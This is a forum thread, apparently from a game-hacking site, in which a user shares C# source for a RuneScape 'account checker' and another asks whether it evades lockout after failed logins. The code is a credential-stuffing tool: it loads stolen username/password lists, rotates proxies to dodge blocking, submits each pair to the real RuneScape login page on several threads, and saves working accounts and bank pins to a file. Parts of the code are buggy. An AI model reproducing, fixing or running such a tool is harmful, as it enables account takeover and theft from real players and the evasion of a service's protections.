Account Checker Code

Bobby Chaplin

Onyx user!
Reputation
0
I wanted to know is this code good to make into a Rs account checker program like the one on this forums known as Runescape Account Checker 1.0
I just found it randomly see if anyone can make use of it and re-edit it around make it better.
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.IO;
using System.Threading;

namespace ConsoleApplication2
{
    class Program
    {
        static List<String> accounts = new List<String>();
        static List<String> proxies = new List<String>();

        static void Main(string[] args)
        {
            int threads = 4;
            loadAccounts();
            loadProxies();
            Console.WriteLine("Enter the amount of threads to run (4 default):");
            threads = Int32.Parse(Console.ReadLine());
            Console.WriteLine("Starting on " + threads + " threads...");
            for (int i = 0; i < threads; i++)
            {
                ThreadPool.QueueUserWorkItem(new WaitCallback(Worker), i);
            }
            Console.ReadLine();
        }

        private static void Worker(object state) {
            int threadId = (int)state;
            string account = null;
            while((account = getAccount()) != null)
            {
                String[] acc = accounts[0].Split(':');
                if (CheckAccount(acc[0], acc[1]))
                {
                    Console.WriteLine("Thread: " + threadId + " - valid account - Username: " + acc[0] + " Password: " + acc[1]);
                    WriteToFile("Thread: " + threadId + " - Username: " + acc[0] + " Password: " + acc[1] + (acc.Length > 2 ? "Bank pin: " + acc[2].Substring(5) : ""));
                }
                else
                {
                    Console.WriteLine("Thread: " + threadId + " - invalid account - Username: " + acc[0] + " Password: " + acc[1]);
                }
                accounts.RemoveAt(0);
            }
            Console.ReadLine();
        }

        private static Boolean CheckAccount(String username, String password)
        {
            while (true)
            {
                string proxy = getProxy();
                string reply = null;
                try
                {
                    byte[] buffer = Encoding.ASCII.GetBytes("mod=www&ssl=0&dest=title.ws&username=" + username.Replace(" ", "20%") + "&password=" + password.Replace(" ", "20%"));
                    HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
                    WebReq.Proxy = new WebProxy(proxy.Split(':')[0], Int32.Parse(proxy.Split(':')[1]));
                    WebReq.Method = "POST";
                    WebReq.Referer = "https://secure.runescape.com/m=weblogin/loginform.ws?mod=www&ssl=0&dest=title.ws";
                    WebReq.ContentType = "application/x-www-form-urlencoded";
                    WebReq.ContentLength = buffer.Length;
                    Stream PostData = WebReq.GetRequestStream();
                    PostData.Write(buffer, 0, buffer.Length);
                    PostData.Close();
                    HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
                    Stream Answer = WebResp.GetResponseStream();
                    StreamReader _Answer = new StreamReader(Answer);
                    reply = _Answer.ReadToEnd();
                    if (reply.Contains("Login Successful"))
                    {
                        return true;
                    }
                    else
                    {
                        return false;
                    }
                }
                catch
                {
                    //Console.WriteLine("Bad proxy " + proxy);
                    removeProxy(proxy);
                }
                Thread.Sleep(30);
            }
        }

        private static String getAccount()
        {
            lock (accounts)
            {
                if (accounts.Count > 0)
                {
                    String account = accounts[0];
                    accounts.RemoveAt(0);
                    return account;
                }
            }
            return null;
        }

        private static void removeProxy(String proxy)
        {
            lock (proxies)
            {
                proxies.Remove(proxy);
            }
        }

        private static String getProxy()
        {
            lock (proxies)
            {
                return proxies[new Random().Next(0, proxies.Count)];
            }
        }

        private static void loadProxies()
        {
            using (TextReader tr = new StreamReader("proxy.txt"))
            {
                string line = null;
                while ((line = tr.ReadLine()) != null)
                {
                    proxies.Add(line);
                }
            }
        }

        private static void loadAccounts()
        {
            using (TextReader tr = new StreamReader("accounts.txt"))
            {
                string line = null;
                while ((line = tr.ReadLine()) != null)
                {
                    String[] details = line.Split('\t');
                    accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));
                }
            }
        }

        private static void WriteToFile(String account)
        {
            using (StreamWriter w = File.AppendText("validaccounts.txt"))
            {
                w.WriteLine(account);
                w.Flush();
            }
        }
    }
}
 
Will this bypass me from being blocked after too many failed attempts?
 
Treb said:
Will this bypass me from being blocked after too many failed attempts?

I don't know actually what this can do just got it from another site i wanted someone to check it out a long time ago.
 
Cookies are required to use this site. You must accept them to continue using the site. Learn more…